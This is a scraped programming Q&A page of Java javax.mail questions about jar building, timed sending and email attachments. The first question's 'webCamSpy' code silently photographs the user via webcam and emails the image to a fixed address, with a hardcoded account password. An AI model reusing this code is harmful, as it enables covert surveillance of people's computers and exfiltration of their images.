cannot run .jar file - java

I am trying to make a jar file from the following code:
public class Main {
public static void main(String[] args) {
boolean net = true;
int num = 0;
do {
if (netIsAvailable()) {
webCapture();
mailSend();
net = false;
}
} while (net);
System.exit(0);
}
public static void webCapture() {
// get default webcam and open it
Webcam webcam = Webcam.getDefault();
webcam.setViewSize(new Dimension(640, 480));
// creates test2.jpg
WebcamUtils.capture(webcam, "test2", "jpg");
}
private static boolean netIsAvailable() {
try {
final URL url = new URL("http://www.google.com");
final URLConnection conn = url.openConnection();
conn.connect();
return true;
} catch (MalformedURLException e) {
throw new RuntimeException(e);
} catch (IOException e) {
return false;
}
}
public static void mailSend() {
final String username = "javaMailTest002#gmail.com";
final String password = "anaaremere";
Properties props = new Properties();
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");
Session session = Session.getInstance(props,
new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});
try {
Message message = new MimeMessage(session);
message.setFrom(new InternetAddress(username));
message.setRecipients(Message.RecipientType.TO,
InternetAddress.parse("alindradici#gmail.com"));
message.setSubject("Your computer has been accessed");
message.setText("Congratulation!");
MimeBodyPart messageBodyPart = new MimeBodyPart();
Multipart multipart = new MimeMultipart();
messageBodyPart = new MimeBodyPart();
String file = "C:\\Fast\\JDBCDemoApp\\webCamSpy\\test2.jpg";
String fileName = "attachmentName";
DataSource source = new FileDataSource(file);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(fileName);
multipart.addBodyPart(messageBodyPart);
message.setContent(multipart);
Transport.send(message);
System.out.println("done, email sent ok");
} catch (Exception e) {
System.out.println("Email sending problems");
e.printStackTrace();
}
}
}
Works fine,compiles and runs without problems,but when i do:
File | Project Structure | Artifacts click the plus icon and create new artifact choose --> jar --> From modules with dependencies.
Build | Build artifacts
and when i try to run the new created jar file I get the error:a jni error has occurred please check your installation and try again . Any idea how to solve this?

What are you doing to run the jar?
From command-line: java -jar name_of_your_created.jar

Related

Program for sending a message to email in Java

I created a program that sends files to email in Java. How to insert a timer that will automatically send mail every 2 minutes?
I think it could be through a timer, but if someone has a different way or encountered this or a similar problem, it would help me a lot.
Here's the code:
public class EMail {
public static void main(String[] args)
{
SendEmail();
}
private static void SendEmail ()
{
final String username = "youremail#gmail.com";
final String password = "password";
Properties props = new Properties();
props.put("mail.smtp.auth", true);
props.put("mail.smtp.starttls.enable", true);
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");
Session session = Session.getInstance(props,
new javax.mail.Authenticator()
{
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});
try {
Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("youremail#gmail.com"));
message.setRecipients(Message.RecipientType.TO,
InternetAddress.parse("youremail#gmail.com"));
message.setSubject("Testing Subject");
message.setText("PFA");
MimeBodyPart messageBodyPart = new MimeBodyPart();
Multipart multipart = new MimeMultipart();
messageBodyPart = new MimeBodyPart();
String file = "C:\\Users\\Name\\UserData\\Logs.txt";
String fileName = "Logs.txt";
DataSource source = new FileDataSource(file);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(fileName);
multipart.addBodyPart(messageBodyPart);
message.setContent(multipart);
System.out.println("Sending");
Transport.send(message);
System.out.println("Done");
} catch (MessagingException e) {
e.printStackTrace();
}
}
}
You can do something like this.This code will enable you to send mails for every two minutes.
public class EmailHandler{
public static void main(String[] args){
Thread emailSenderThread = new Thread(new EmailSender());
emailSenderThread.start();
}
private static class EmailSender implements Runnable {
private void sendEmail(){
//Email sending logic Impl
}
#Override
public void run() {
for(;;){
sendEmail();
try {
Thread.sleep(120000);//Thread is sleeping for 2 minutes
} catch (InterruptedException e) {
System.out.println(e);
}
}
}
}
}
You can use Timer and TimerTask which are java util classes used to schedule tasks in a background thread
Example (You can add this to main method):
TimerTask timerTask = new TimerTask() {
#Override
public void run() {
SendEmail();
}
};
Timer timer = new Timer("MyTimer");
timer.scheduleAtFixedRate(timerTask, 500, 2000);

Executing java mail program from unix box machine in which java is installed

I have the below java program which I am executing from eclipse under windows and it is working perfectly. Now I want to create a jar of it which I can make it from eclipse it self by creating a jar option now p, as I want to execute the same program from unix box machine in which java is installed please advise how I will test this same program from unix box machine in which java is installed and jdk is set, shall I go for jar creation process.
public class SSendEmail {
MimeMessage mimeMessage = null;
public static void main(String[] args) throws Exception, IOException, Exception {
String smtpHost = "11.1620.90.520";
String mailSmtpPort = "192381";
String mailTo[] = {"ena#rdbs.com"};
String mailCc[] = {"sena#rdbs.com"};
postEmailForBrokerageNotification(mailTo, mailCc, "k",
"testSubject", "Body123", smtpHost, mailSmtpPort);
}
//Send email for broker post pay email notification
public static void postEmailForBrokerageNotification(String mailTo[], String mailCc[], String from, String subject, String text, String smtpHost, String mailSmtpPort) throws Exception, DocumentException, IOException {
try {
Properties properties = new Properties();
properties.put("mail.smtp.host", smtpHost);
properties.put("mail.store.protocol", "imaps");
properties.put("mail.smtp.port", mailSmtpPort);
properties.put("mail.smtp.auth", "false");
//obtaining the session
Session emailSession = Session.getDefaultInstance(properties);
//Enable for debuging
emailSession.setDebug(true);
Message emailMessage = new MimeMessage(emailSession);
if (mailTo != null) {
InternetAddress[] addressTo = new InternetAddress[mailTo.length];
for (int i = 0; i < mailTo.length; i++) {
addressTo[i] = new InternetAddress(mailTo[i]);
}
emailMessage.setRecipients(RecipientType.TO, addressTo);
}
InternetAddress[] addresscc = new InternetAddress[mailCc.length];
for (int i = 0; i < mailCc.length; i++) {
addresscc[i] = new InternetAddress(mailCc[i]);
}
emailMessage.setRecipients(RecipientType.CC, addresscc);
emailMessage.setFrom(new InternetAddress(from));
emailMessage.setSubject(subject);
emailMessage.setContent(text, "text/html");
//Create the message part
BodyPart messageBodyPart = new MimeBodyPart();
messageBodyPart.setContent(text, "text/html");
messageBodyPart.setText(text);
// Create a multipart message
Multipart multipart = new MimeMultipart();
multipart.addBodyPart(messageBodyPart);
// attachment part
MimeBodyPart attachPart = new MimeBodyPart();
String filename = "c:\\sd-Spec_for_Data-Mapping_P3--SARALE_RETURNswap.xls";
DataSource source = new FileDataSource(filename);
attachPart.setDataHandler(new DataHandler(source));
attachPart.setFileName(filename);
multipart.addBodyPart(attachPart);
// Send the complete message parts
emailMessage.setContent(multipart);
Transport.send(emailMessage);
} catch (AddressException e) {
e.printStackTrace();
} catch (MessagingException messagingException) {
messagingException.printStackTrace();
throw new Exception(messagingException.getMessage());
}
}
}

Java: How do I attach multiple files to an email?

I have a list of files that are created on application launch, and I want those files to be sent via email. The emails do send, but they don't have any attachments.
Here's the code:
private Multipart getAttachments() throws FileNotFoundException, MessagingException
{
File folder = new File(System.getProperty("user.dir"));
File[] fileList = folder.listFiles();
Multipart mp = new MimeMultipart("mixed");
for (File file : fileList)
{
// ext is valid, and correctly detects these files.
if (file.isFile() && StringFormatter.getFileExtension(file.getName()).equals("xls"))
{
MimeBodyPart messageBodyPart = new MimeBodyPart();
messageBodyPart.setDataHandler(new DataHandler(file, file.getName()));
messageBodyPart.setFileName(file.getName());
mp.addBodyPart(messageBodyPart);
}
}
return mp;
}
There's no error, warning, or anything else. I even tried creating a Multipart named childPart and assigning it to mp through .setParent(), and that did not work either.
I am assigning the attachments this way:
Message msg = new MimeMessage(session);
Multipart mp = getAttachments();
msg.setContent(mp); // Whether I set it here, or next-to-last, it never works.
msg.setSentDate(new Date());
msg.setFrom(new InternetAddress("addressFrom"));
msg.setRecipient(Message.RecipientType.TO, new InternetAddress("addressTo"));
msg.setSubject("Subject name");
msg.setText("Message here.");
Transport.send(msg);
How do I correctly send multiple attachments via Java?
This is my own email utility class, check if that the sendEmail method works for you
import java.io.File;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.Properties;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.activation.FileDataSource;
import javax.mail.Authenticator;
import javax.mail.BodyPart;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Multipart;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.MimeBodyPart;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMultipart;
public class EMail {
public enum SendMethod{
HTTP, TLS, SSL
}
private static final String EMAIL_PATTERN =
"^[_A-Za-z0-9-\\+]+(\\.[_A-Za-z0-9-]+)*#"
+ "[A-Za-z0-9-]+(\\.[A-Za-z0-9]+)*(\\.[A-Za-z]{2,})$";
public static boolean isValidEmail(String address){
return (address!=null && address.matches(EMAIL_PATTERN));
}
public static String getLocalHostName() {
try {
return InetAddress.getLocalHost().getHostName();
} catch (UnknownHostException e) {
return "localhost";
}
}
public static boolean sendEmail(final String recipients, final String from,
final String subject, final String contents,final String[] attachments,
final String smtpserver, final String username, final String password, final SendMethod method) {
Properties props = System.getProperties();
props.setProperty("mail.smtp.host", smtpserver);
Session session = null;
switch (method){
case HTTP:
if (username!=null) props.setProperty("mail.user", username);
if (password!=null) props.setProperty("mail.password", password);
session = Session.getDefaultInstance(props);
break;
case TLS:
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.port", "587");
session = Session.getInstance(props, new Authenticator() {
protected PasswordAuthentication getPasswordAuthentication(){
return new PasswordAuthentication(username, password);
}
});
break;
case SSL:
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
session = Session.getDefaultInstance(props, new Authenticator() {
protected PasswordAuthentication getPasswordAuthentication(){
return new PasswordAuthentication(username, password);
}
});
break;
}
try {
MimeMessage message = new MimeMessage(session);
message.setFrom(from);
message.addRecipients(Message.RecipientType.TO, recipients);
message.setSubject(subject);
Multipart multipart = new MimeMultipart();
BodyPart bodypart = new MimeBodyPart();
bodypart.setContent(contents, "text/html");
multipart.addBodyPart(bodypart);
if (attachments!=null){
for (int co=0; co<attachments.length; co++){
bodypart = new MimeBodyPart();
File file = new File(attachments[co]);
DataSource datasource = new FileDataSource(file);
bodypart.setDataHandler(new DataHandler(datasource));
bodypart.setFileName(file.getName());
multipart.addBodyPart(bodypart);
}
}
message.setContent(multipart);
Transport.send(message);
} catch(MessagingException e){
e.printStackTrace();
return false;
}
return true;
}
}
you can create a zip file from your desired folder and then send it as a normal file.
public static void main(String[] args) throws IOException {
String to = "Your desired receiver email address ";
String from = "for example your GMAIL";
//Get the session object
Properties properties = System.getProperties();
properties.put("mail.smtp.auth", "true");
properties.put("mail.smtp.starttls.enable", "true");
properties.put("mail.smtp.host", "smtp.gmail.com");
properties.put("mail.smtp.port", "587");
// Get the Session object.
Session session = Session.getInstance(properties,
new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(from, "Insert your password here");
}
});
try {
// Create a default MimeMessage object.
Message message = new MimeMessage(session);
// Set From: header field of the header.
message.setFrom(new InternetAddress(from));
// Set To: header field of the header.
message.setRecipients(Message.RecipientType.TO,
InternetAddress.parse(to));
message.setSubject("Write the subject");
String Final_ZIP = "C:\\Users\\Your Path\\Zipped.zip";
String FOLDER_TO_ZIP = "C:\\Users\\The folder path";
zip(FOLDER_TO_ZIP,Final_ZIP);
// Create the message part
BodyPart messageBodyPart = new MimeBodyPart();
// Now set the actual message
messageBodyPart.setText("Write your text");
Multipart multipart = new MimeMultipart();
// Set text message part
multipart.addBodyPart(messageBodyPart);
DataSource source = new FileDataSource(Final_ZIP);
messageBodyPart = new MimeBodyPart();
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName("ZippedFile.zip");
multipart.addBodyPart(messageBodyPart);
// Send the complete message parts
message.setContent(multipart);
// Send message
Transport.send(message);
System.out.println(" Email has been sent successfully....");
} catch (MessagingException e) {
e.printStackTrace();
throw new RuntimeException(e);
}
}
then the Zip Function is:
public static void zip( String srcPath, String zipFilePath) throws IOException {
Path zipFileCheck = Paths.get(zipFilePath);
if(Files.exists(zipFileCheck)) { // Attention here it is deleting the old file, if it already exists
Files.delete(zipFileCheck);
System.out.println("Deleted");
}
Path zipFile = Files.createFile(Paths.get(zipFilePath));
Path sourceDirPath = Paths.get(srcPath);
try (ZipOutputStream zipOutputStream = new ZipOutputStream(Files.newOutputStream(zipFile));
Stream<Path> paths = Files.walk(sourceDirPath)) {
paths
.filter(path -> !Files.isDirectory(path))
.forEach(path -> {
ZipEntry zipEntry = new ZipEntry(sourceDirPath.relativize(path).toString());
try {
zipOutputStream.putNextEntry(zipEntry);
Files.copy(path, zipOutputStream);
zipOutputStream.closeEntry();
} catch (IOException e) {
System.err.println(e);
}
});
}
System.out.println("Zip is created at : "+zipFile);
}

Java - Change the name of email attachment using javax.mail library

Here is my current code. It correctly sends an email with an attachment, but the file name of the attachment sent is the full path to the file on my computer. I want it to show up just as the file name (i.e. "name_of_file.zip" as opposed to "/Users/MyUser/Desktop/name_of_file.zip"). Is there a way to do this?
public void sendMailWithAttachments () {
Properties props = new Properties();
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");
Session session = Session.getInstance(props, new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication(username, password); }});
String msgBody = "Body of email";
String fileAttachment = "/Users/MyUser/Desktop/name_of_file.zip";
try {
Message msg = new MimeMessage(session);
msg.setFrom(new InternetAddress("me#email.com"));
msg.addRecipient(Message.RecipientType.TO, new InternetAddress("person#email.com"));
msg.setSubject("Email Subject!");
MimeBodyPart messageBodyPart = new MimeBodyPart();
messageBodyPart.setText(msgBody);
Multipart multipart = new MimeMultipart();
multipart.addBodyPart(messageBodyPart);
messageBodyPart = new MimeBodyPart();
DataSource source = new FileDataSource(fileAttachment);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(fileAttachment);
multipart.addBodyPart(messageBodyPart);
msg.setContent(multipart);
Transport.send(msg);
} catch (AddressException e) {
System.out.println(e);
} catch (MessagingException e) {
System.out.println(e);
}
}
Change:
messageBodyPart.setFileName(fileAttachment);
to:
messageBodyPart.setFileName(new File(fileAttachment).getName());

While loop executing infinite times in java for LogMonitor

I am working on a project where a java program records the changes made to the text file, writes it to other log file and sends it via email. The problem I am facing is the while loop used for monitoring changes has no break.
If I put the code of mailing inside while loop the mail goes in infinite loop.
If I put the code outside while loop, main can't reach there because while is in infinite loop. I need a break condition and I cant figure it out. Can anyone help?
import java.util.Properties;
import java.io.*;
import javax.mail.*;
import javax.mail.internet.*;
import javax.activation.*;
public class LogMonitor {
public static void main(String[] args) throws Exception
{
FileReader fr = new FileReader("D:/test.txt");
BufferedReader br = new BufferedReader(fr);
while (true) {
String line = br.readLine();
if (line == null)
{
Thread.sleep(1*1000);
} else
{
byte[] y = line.getBytes();
File g = new File("D:/abc.txt");
try (OutputStream f = new FileOutputStream(g,true))
{
f.write( y );
}
}
String to="abcde#gmail.com";//change accordingly
final String user="vwxyz#gmail.com";//change accordingly
final String password="xxxxxxx";//change accordingly
// final String d_port = "465";
//1) get the session object
// java.security.Security.addProvider(new com.sun.net.ssl.internal.ssl.Provider());
Properties props = new Properties();
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class",
"javax.net.ssl.SSLSocketFactory");
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
Session session = Session.getDefaultInstance(props,
new javax.mail.Authenticator()
{
#Override
protected PasswordAuthentication getPasswordAuthentication()
{
return new PasswordAuthentication(user,password);
}
});
//2) compose message
try{
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress(user));
message.addRecipient(Message.RecipientType.TO,new InternetAddress(to));
message.setSubject("Message Alert! Changes made to your file");
//3) create MimeBodyPart object and set your message text
BodyPart messageBodyPart1 = new MimeBodyPart();
messageBodyPart1.setText("This is message body");
//4) create new MimeBodyPart object and set DataHandler object to this object
MimeBodyPart messageBodyPart2 = new MimeBodyPart();
String filename = "D://abc.txt";//change accordingly
DataSource source = new FileDataSource(filename);
messageBodyPart2.setDataHandler(new DataHandler(source));
messageBodyPart2.setFileName(filename);
//5) create Multipart object and add MimeBodyPart objects to this object
Multipart multipart = new MimeMultipart();
multipart.addBodyPart(messageBodyPart1);
multipart.addBodyPart(messageBodyPart2);
//6) set the multiplart object to the message object
message.setContent(multipart );
//7) send message
Transport.send(message);
System.out.println("message sent....");
}catch (MessagingException ex) {
System.out.println(ex);
}
}
}}
First Move Sending email ail block to seperate method.
I just cut and pasted your code ..
public static void sendEmail() {
String to = "abcde#gmail.com";// change accordingly
final String user = "vwxyz#gmail.com";// change accordingly
final String password = "xxxxxxx";// change accordingly
// final String d_port = "465";
// 1) get the session object
// java.security.Security.addProvider(new com.sun.net.ssl.internal.ssl.Provider());
Properties props = new Properties();
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() {
#Override
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(user, password);
}
});
// 2) compose message
try {
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress(user));
message.addRecipient(Message.RecipientType.TO, new InternetAddress(to));
message.setSubject("Message Alert! Changes made to your file");
// 3) create MimeBodyPart object and set your message text
BodyPart messageBodyPart1 = new MimeBodyPart();
messageBodyPart1.setText("This is message body");
// 4) create new MimeBodyPart object and set DataHandler object to this object
MimeBodyPart messageBodyPart2 = new MimeBodyPart();
String filename = "D://abc.txt";// change accordingly
DataSource source = new FileDataSource(filename);
messageBodyPart2.setDataHandler(new DataHandler(source));
messageBodyPart2.setFileName(filename);
// 5) create Multipart object and add MimeBodyPart objects to this object
Multipart multipart = new MimeMultipart();
multipart.addBodyPart(messageBodyPart1);
multipart.addBodyPart(messageBodyPart2);
// 6) set the multiplart object to the message object
message.setContent(multipart);
// 7) send message
Transport.send(message);
System.out.println("message sent....");
}
catch (MessagingException ex) {
System.out.println(ex);
}
}
Then add boolean to mark changes in main like..
Note isFileChanged used to send email the changes captured.
public static void main(String[] args) throws Exception {
FileReader fr = new FileReader("D:/test.txt");
BufferedReader br = new BufferedReader(fr);
boolean isFileChanged = false;
while (true) {
String line = br.readLine();
if (line == null) {
if (isFileChanged){
isFileChanged = false;
sendEmail();
}
Thread.sleep(1 * 1000);
}
else {
isFileChanged = true;
byte[] y = line.getBytes();
File g = new File("D:/abc.txt");
try (OutputStream f = new FileOutputStream(g, true)) {
f.write(y);
}
}
}
}

Categories